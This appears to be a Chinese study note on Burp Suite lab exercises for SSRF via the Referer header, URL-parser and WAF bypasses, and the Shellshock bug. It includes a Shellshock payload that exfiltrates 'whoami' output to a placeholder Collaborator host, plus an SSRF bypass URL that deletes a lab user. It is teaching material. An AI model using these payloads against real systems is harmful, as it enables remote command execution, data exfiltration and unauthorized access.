burplab_ssrf
referer绕过
可以在referer中加个dns查询
双重url加密绕过
如果存在类似url_decode()
的函数就可以了
特殊符号
1 | 127.0.0.1 --> 127.1 |
省略前导零:
127.0.0.1 中的每个部分(127, 0, 0, 1)都可以省略前导零。因此, 127.0.0.1 可以简化为 127.0.1 或进一步简化为 127.1
解析器处理:
大多数网络解析器(如操作系统的网络堆栈、Web 服务器等)在处理地址时,会自动补全省略的前导零。因此,当接收到 127.1 时,解析器会将其解释为
通过可以跳转的功能点找到可能跳转路径的parameter
找到可以跳转的元素之后,最好是放到支持POST的功能页面里面来执行
GET找到parameter , 放到POST里面
shellshock
漏洞
使用Collaborator Everywhere
自动挖洞
burp插件
安装完之后在target
中发现对应的url,发送到Add to Scope
在scope
中勾选url
就会开始挖洞,结果在target
页面的issue
中
漏洞
bash版本小于4.3
可以使用shellshock
漏洞
原理
1 | root@ubuntu:/# export name = '() {echo "Ling";}' |
在 Bash 中一种独有的方法来定义函数 , 即 : 通过环境变量来定义函数
当某个环境变量的值以字符串 “ () { “ 的格式作为开头, 那么该变量就会被当前 Bash 当作一个导出函数, 该函数仅会在当前 Bash 的子进程中生效 .
导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令
HTTP中UA头一般保存在环境变量中
POC
1 | () { :; }; /usr/bin/nslookup `whoami`.YOUR-SUBDOMAIN-HERE.burpcollaborator.net |
HTTP协议的头User-Agent通常是保存在环境变量
HTTP_USER_AGENT
的shellshock的payload:() { :; }; /usr/bin/nslookup
whoami
.YOUR-SUBDOMAIN-HERE.burpcollaborator.netYOUR-SUBDOMAIN-HERE就是刚才Burp Collaborator client生成的域名,该payload可以将whoami的信息带外出来
反扒措施检测referer头
Referer
头被探测的原因
- 服务器对请求来源的验证与跟踪需求:服务器通常会检查
Referer
头来验证请求的来源是否合法,比如防止恶意请求从非授权的页面发起。同时,服务器端分析软件会根据Referer
来统计页面的访问来源,了解用户是从哪些页面链接过来的,以便分析用户行为和网站流量路径。如果服务器在处理Referer
头时存在漏洞,没有对其内容进行严格的过滤和验证,就可能导致它去访问Referer
中指定的任意网址,包括内网地址,从而引发 SSRF 漏洞。
携带User - Agent
等信息的原因
- 模拟正常请求行为:服务器在处理请求时,会将
User - Agent
等请求头信息作为请求的一部分来处理,以了解客户端的类型、操作系统、浏览器等信息,这有助于服务器根据不同的客户端情况返回合适的响应内容。当服务器访问Referer
中的网址时,为了模拟正常的请求流程,通常会将原请求中的User - Agent
等信息一并带上,就好像是客户端直接访问Referer
中的网址一样。这样,被访问的目标网址(如果是存在漏洞的情况下)就可以根据这些信息来进一步处理请求,攻击者也可以利用这些信息来进行更精准的攻击或信息收集。
服务器端分析软件不一定会转发整个 HTTP 请求包到Referer
- 取决于服务器端的具体实现和漏洞情况:一般来说,服务器端分析软件可能只是提取
Referer
头中的网址,并尝试访问该网址以获取相关信息,不一定会完整地转发整个 HTTP 请求包。
分析url语法分析器屏蔽的是什么东西
过waf的思路
逐个删除,发现一定需要保留可以被解析出来的url
stock.weliketoshop.net
url叠上加密,层层叠加,发现只能识别一层url,两层就无法识别了
使用
#
来注释,url编码两次就能绕过,#
经过两次url编码变成%2523
路径后携带
@
可以被识别成重定向成@后面的,但是后端代码使用的库可能没有解析多层url的能力可以使用
%2523@stock.weliketoshop.net
来骗词法分析器以为定向到的就是目标urlwww.baidu.com@www.bing.com
定向到www.bing.com
www.baidu.com#@www.bing.com
后面被注释,定向到www.baidu.com
www.baidu.com@www.bing.com/admin
访问的是www.bing.com/admin
www.baidu.com#@www.bing.com/admin
访问的是www.baidu.com/admin
POC
1 | http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos |